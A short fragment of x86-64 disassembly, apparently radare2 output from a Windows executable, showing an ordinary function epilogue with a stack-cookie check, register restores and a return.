call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14003499c
xor eax, eax
mov rcx, qword [rsp + 0x6c0]
xor rcx, rsp
call fcn.140034940
lea r11, [rsp + 0x6d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret